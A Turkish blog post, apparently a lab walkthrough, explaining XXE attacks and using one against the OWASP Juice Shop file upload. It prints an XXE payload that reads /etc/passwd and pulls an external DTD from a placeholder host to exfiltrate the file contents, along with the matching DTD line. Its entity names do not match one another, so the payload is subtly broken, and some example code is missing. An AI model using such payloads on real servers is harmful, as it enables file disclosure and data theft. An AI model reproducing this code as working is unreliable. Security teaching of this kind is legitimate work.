XEE Attacks

Bu saldırıyı XML yardımıyla yapacağız. Sunucuya göndereceğimiz/yükleyeceğimiz XML dosyasının Entity özelliğine payload ekleyerek bu saldırıyı yapıyoruz. Bu saldırıda bir kere başarılı olduğumuzda RCE, Local File Disclosure vs gibi birçok zaafiyete sebep olabilir. Entitiy konusuna bakacak olursak. Öncelikle XML dosyamızı hazırlarken versiyon ve encoding bilgisini verdikten sonra root element belirliyoruz. Daha sonra childları belirliyoruz ve XML hazır oluyor. Ama bu XML’i birden fazla kez kullanacaksak bir tane hazırlamak yerine bunu Entity dediğimiz değişkenleri ve şablon mantığını kullanarak hazırlıyoruz. Ayrıca XML içerisinde özel karakterler ( &, <, >, …) kullanamazken Entity özelliği bize bu imkanı sağlıyor. Örnek Entityli bir XML kodu şu şekildedir :

Burada entity olduğunu bildiğimiz için şöyle bir XML payload hazırlayabiliriz :

<?xml version=”1.0″?>
<!DOCTYPE r [
<!ENTITY % data3 SYSTEM “file:///etc/passwd”>
<!ENTITY % sp SYSTEM “http://x.x.x.x:8080/ss5.dtd”>
%sp;
%param3;
%exfil;
]>
<r></r>
## External dtd: ##

<!ENTITY % param1 ‘<!ENTITY % external SYSTEM “file:///nothere/%payload;”>’> %param1; %external;

Daha sonra bunu file upload eklememizi isteyen bir yere yüklüyoruz. Normalde siteler yüklenen dosyalarda entity özelliğini tamamen kapatarak ya da dosyalara uzantı anlamında whitelist oluşturarak bu açıktan korunabilirler. Ama juice shop’da bu kontrol olmadığı için dosyamızı yükleyip requestimizi atıyoruz. Burp ile intercept ettiğimizde ise şöyle bir ekranla karşılaşıyoruz :

Bu işlemin gönderdiğimizde ise sonuç olarak dönen yerde aradığımız dosyaya dair detaylar kesilmiş de olsa bu şekilde karşımıza çıkıyor :

Sitelerin, yüklenecek dosyalara whitelist uygulamaması bile başlı başına bir bulgudur. Bu yüzden bunun üzerine bile gidilebilir.

Bir cevap yazın

E-posta hesabınız yayımlanmayacak.